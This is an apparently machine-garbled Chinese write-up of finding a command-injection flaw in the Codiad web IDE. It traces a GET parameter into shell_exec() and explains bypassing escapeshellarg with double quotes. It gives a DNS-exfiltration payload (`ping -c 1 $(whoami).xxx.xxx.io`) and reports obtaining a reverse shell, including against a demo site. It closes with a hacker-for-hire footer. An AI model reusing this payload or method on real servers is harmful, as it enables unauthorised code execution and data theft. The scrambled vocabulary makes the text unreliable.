简介 :
Codiad 是一个开源根据Web的IDE应用程序,用于在线编写和修改代码。
库房 :
https://github.com/Codiad/Codiad
环境建立 :
经过phpstudy建立根底,并敞开Xdebug 。
可参阅https://blog.csdn.net/flyingdream123/Article/details/69358819进行环境装备。
缝隙发掘进程:
经过cve缝隙库对Codiad以往缝隙进行查询,发现该结构对shell_exec()函数的处理上曾多次呈现问题,将针对点确认在了对该函数的调用上。
上一个版别中该处呈现了指令履行缝隙,官网或许现已修补,先不考虑。
确认find()函数调用
$cmd 参数由$input 设置
$input由$this->query设置
this->query参数经过get传参获取
查找对find()调用的方位
测验更改action参数值为find并动态调试调查
在进入action判别前,对path参数进行了断定,一切此刻必定要注意你当时目录的姓名
走到这儿今后,经过shell_exec履行拼接好的操作,咱们可以清楚的看见此刻咱们结构query参数被””包含着,参阅上一个代码履行缝隙的阐明,在调用escapeshellarg函数对传入参数进行处理后,如果有””包含着,则依然可以进行指令履行。
经过现有判别,咱们开端结构payload,由于结构参数为Linux下,所以不得不开端建立linux试验环境,参阅http://www.freebuf.com/articles/web/141788.html进行linux环境建立
将没有查询成果时回来信息修改为履行的$cmd
$this->message = $cmd; 便于咱们检查履行的指令
选用dns外带查询判别是否有指令履行存在
需注意在“ 中再履行子指令应该运用$()履行
由此确认了该参数的确存在指令履行缝隙。
现在测验反弹一下shell
服务器翻开监听
发现shell成功反弹。
对demo站进行测验。
履行句子后,无shell回来,测验一下其他指令
`ping –c 1 $(whoami) .xxx.xxx.io“ 发现dns外带,依然可以得到信息,证明指令履行是存在的,
考虑是不是存在其他约束。
[1] [2] 黑客接单网